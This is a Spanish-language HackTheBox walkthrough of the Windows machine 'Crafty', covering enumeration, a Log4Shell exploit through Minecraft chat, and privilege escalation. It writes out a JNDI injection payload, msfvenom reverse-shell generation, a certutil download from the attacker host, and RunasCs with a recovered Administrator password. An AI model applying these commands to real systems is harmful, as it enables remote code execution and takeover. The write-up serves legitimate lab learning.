🟩HTB - Crafty

https://app.hackthebox.com/machines/Crafty

Información General

  • Nombre de la Máquina: Crafty

  • IP de la Máquina: 10.10.11.249

  • Sistema Operativo: Windows

  • Dificultad: Easy

  • Fecha de Publicación: 10-02-2024


Enumeration

Ping para obtener ruta de retorno

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R para incluir la ruta de retorno:

ping -c 1 10.10.11.249 -R

Escaneo de puertos con Nmap

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mínima de paquetes y -vvv para un nivel de verbosidad alto. Además, utilizamos -n para desactivar la resolución de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.249 -oG allPorts

Escaneo detallado con Nmap

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

sudo nmap -sCV -p80,25565 10.10.11.249 -oN targeted

Modificando /etc/hosts

Para añadir la entrada "10.10.11.249 crafty.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:

echo "10.10.11.249 crafty.htb" | sudo tee -a /etc/hosts

Este comando añade la dirección IP 10.10.11.249 asociada al nombre de host crafty.htb al archivo /etc/hosts de tu sistema.

Análisis de sitio web con WhatWeb

Para obtener más información sobre nuestro objetivo, utilizamos la herramienta WhatWeb. Esta herramienta nos permite identificar tecnologías web utilizadas en el servidor, como el sistema de gestión de contenidos (CMS), el lenguaje de programación, los plugins y otras características. Ejecutamos el siguiente comando:

Descubrimiento de directorios

En la fase de descubrimiento de directorios, se utilizan herramientas como WFuzz y Dirsearch para identificar posibles puntos de entrada o recursos ocultos en el sitio web objetivo.

El comando utilizado fue:

#Partimos con mi favorito dirsearch
dirsearch -u http://crafty.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt

#Otro wordlist que vale la pena revisar.
gobuster dir -u http://crafty.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

Lamentablemente no pillo nada util, por lo que entro a la pagina web desde Firefox:

Agregamos la ruta play.crafty.htb pero redirecciona asi que no pillamos nada.

echo "10.10.11.249 play.crafty.htb" | sudo tee -a /etc/hosts

Escaneo de Vulnerabilidades

Ya cuando se me agotaban las ideas decidì instalar Minecraft 1.16.5, ya que curiosamente puse en Google, "Minecraft 1.16.5 exploit" y me encontré con algo interesante.

Por lo que decido instalar la version 1.16.5 en mi maquina kali con TLauncher (hay mejores formas como pyCraft pero ya demasiado tarde lo hice así )🤣. Investigando Log4J (https://github.com/kozmer/log4j-shell-poc)

sudo java -jar TLauncher-2.895.jar

En el README.md de https://github.com/kozmer/log4j-shell-poc, podemos ver que se necesita descargar una version en específico de JAVA para el exploit. Por lo que la descargamos en https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.

Explotación

Procedemos a ejecutar el exploit, por cierto modifcamos el poc.py para que sea para windows ("cmd.exe").

sudo python3 poc.py --userip 10.10.14.17 --webport 80 --lport 6666

Mientras dejamos en escucha nuestro nc al mismo puerto que utilizamos en el exploit. Como dice en el exploit debemos enviar desde el chat de minecraft ${jndi:ldap://10.10.14.17:1389/a}

Escalada de Privilegios

Como vamos a querer descargar archivos y cosas así no podremos desde esta shell por lo que intentaremos establecer conexión con una shell hecha por metasploit.

Creamos nuestro reverse shell, se llamara expl.exe (por defecto)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=7777 -f exe -o expl.exe

Luego desde msfconsole configuramos el metasploit.

El ultimo paso era subir un servidor Python en el mismo directorio donde teniamos nuestro expl.exe generado por mfsvenom. Para luego descargarlo desde nuestro equipo victima.

certutil -urlcache -f http://10.10.14.17:8888/expl.exe %temp%/expl.exe

Ahora si tenemos la capacidad de poder descargar archivos, por lo que descargamos el .jar.

Para abrirlo debemos utilizar jd.gui.

Nos encontramos con unas credenciales:

s67u84zKq8IXw

Seguimos, utilizando RunasCS version 1.5. Para ello lo descargamos de https://github.com/antonioCoco/RunasCs, además tendremos que crear otro expl2.exe con msfvenom:

Luego desde nuestra sesión de meterpreter subimos nuestro archivo expl2.exe y RunasCs.exe a server/logs:

Por ultimo utilizamos nuestro RunasCs.exe para ejecutar el expl2.exe con las credenciales obtenidas.

.\RunasCs.exe Administrator s67u84zKq8IXw expl2.exe

Aquí tenemos la flag del root 🎉

Conclusión

La verdad fue una maquina fuera de lo común, no encontraba nada en el Enumeration, por lo que Googlee un poco y vi que realmente había que meterse a jugar, y bueno la version del Minecraft tenía este exploit y valía la pena intentarlo y aprenderlo, buena máquina para salir de lo cotidiano, además divertido como tocó hacer la escala de privilegios, soy muy novato con Metasploit por lo que fue un desafio para mi.

Referencias